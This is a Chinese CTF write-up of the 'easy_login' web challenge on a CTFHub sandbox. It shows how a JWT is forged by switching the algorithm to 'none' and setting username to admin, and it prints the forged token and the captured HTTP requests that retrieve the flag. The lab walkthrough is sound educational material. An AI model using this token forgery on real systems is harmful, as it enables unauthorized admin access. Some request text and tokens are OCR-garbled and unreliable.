2020-数字中国创新大赛虎符网络安全赛道-Web-easy_login



 swpu_jx_1998

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先注册一个账号

REGISTER	
123456	
123456	



然后登录,抓包,可以看到authorization是jwt格式



解密发现就是我们的登录账号密码

Encoded PASTE A TOKEN HERE

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey JzZWNyZXRpZCI6MCwidXN1cm5hbWUiOiIxMjM0N TYiLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6 MTY00DM4NzkwMn0.UstK3z9w-_E171WVaFR98THb-DJbzDXhox-lo2FbXcY Decoded Edit THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE { "alg": "HS256", "typ": "JWT" } PAYLOAD: DATA { "secretid": 0, "username": "123456", "password": "123456", "iat": 1648387902 } VERIEV SIGNATURE HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), your-256-bit-secret) 🗆 secret base64 encoded

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因为提示了是Node.js框架,关于权限的代码文件会在/controllers/api.js 可以看到 需要admin用户的权限

```
'GET /api/flag': async (ctx, next) => {
    if(ctx.session.username !== 'admin') {
        throw new APIError('permission error', 'permission denied');
    }
    const flag = fs.readFileSync('/flag').toString();
    ctx.rest({
        flag
    });
    await next();
},
```

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那么很明显我们需要修改自己的token进行权限绕过 不知道密钥,将加密方式改为none

{
 "alg": "none",
 "typ": "JWT"
 }

ewoglCJhbGciOiAibm9uZSIsCiAgInR5cCl6lCJKV1QiCn0=

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修改secretid 为空, username为admin

"secretid": [], "username": "admin", "password": "123456". CSDN @swpu_jx_1998

组合为payload

ewoglCJhbGciOiAibm9uZSlsCiAglnR5cCl6lCJKV1QiCn0.ewoglCJzZWNyZXRpZCl6lFtdLAoglCJ1c2VybmFtZSl6lCJhZG1pbilsCiAglnBhc3N3b3JkljogljEyMzQ1NilsCiAglmlhdCl6lDE2NDgzODc5MDlKfQ.

重新登录抓包,修改username和authorization

1	DOST (ani/login HTTP/1 1
-	Fost / api/itygin mir/i.i
-	Hose CreatingerCleatingerCleating VI 10. Wirder with a star view (2010)101 Firefor (20.0)
3	User Agent: nozilla/5.0 (Windows NI 10.0; Wind4; X04; IV:56.0) Geck0/20100101 Firelox/58.0
4	Accept: "/"
5	Accept-Language: zh-UN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6	Accept-Encoding: gzip, deflate
7	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8	X-Requested-With: XMLHttpRequest
9	Content-Length: 222
0	Origin: http://challenge-cle8ff46ded8928f.sandbox.ctfhub.com:10800
1	Connection: close
2	Referer: http://challenge-cle8ff46ded8928f.sandbox.ctfhub.com:10800/login
3	Cookie: sses:aok=evJlc2VvbmFtZSI6bnVsbCwiX2V4cGlvZSI6MTY00D03NiI5NTYzNiwiX2lheEFnZSI60DY0MDAwMDB9; sses:aok.sig=
	-Kv0scJfi0gKFparccx5-EYgrLc
4	
5	username administraces words 1234566 authorizations
	and the second
	eeogaaanaaanaaanaaaaaaaaaaaaaaaaaaaaaaaa
	servgrmindererberbugsbucenbikty.
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	C2DU @2mbg_Y2_7330

登录之后点击get falg 抓包,获得flag

Send Cancel < v > v	Target: http://challeng
Request	Response
Pretty Raw Hex 🚍 In 😑	Pretty Raw Hex Render 🚍 🛯 🗏
<pre>1 GET /api/flag HTTP/1.1 2 Host: challenge-cle8ff46ded8928f.sandbox.ctfhub.com:10800 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 4 Accept: */* 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Encoding: gzip, deflate 7 X-Requested-With: XMLHttpRequest 8 Connection: close 9 Referer: http://challenge-cle8ff46ded8928f.sandbox.ctfhub.com:10800/h ome 10 Cookie: sses:aok= eyJlc2VybmFt2SI6ImFkbWluIiwiX2V4cGlyZSI6MTY00DQ3NjA1MDIxMSwi X21heEFn2SI60DY0MDAwMDB9; sses:aok.sig= X2zZnzcSr8K8_rr13j3YhQRcTmw</pre>	<pre>1 HTTP/1.1 200 0K 2 Server: openresty/1.19.3.2 3 Date: Sun, 27 Mar 2022 14:01:08 GMT 4 Content-Type: application/json; charset=utf-8 5 Content-Length: 45 6 Connection: close 7 Access-Control-Allow-Origin: * 8 Access-Control-Allow-Headers: X-Requested-With 9 Access-Control-Allow-Methods: * 10 11 { "flag":"ctfhub{83d725734bf64aff28bef3f4}\n" }</pre>
11	
12	CSDN @swpu_jx_1998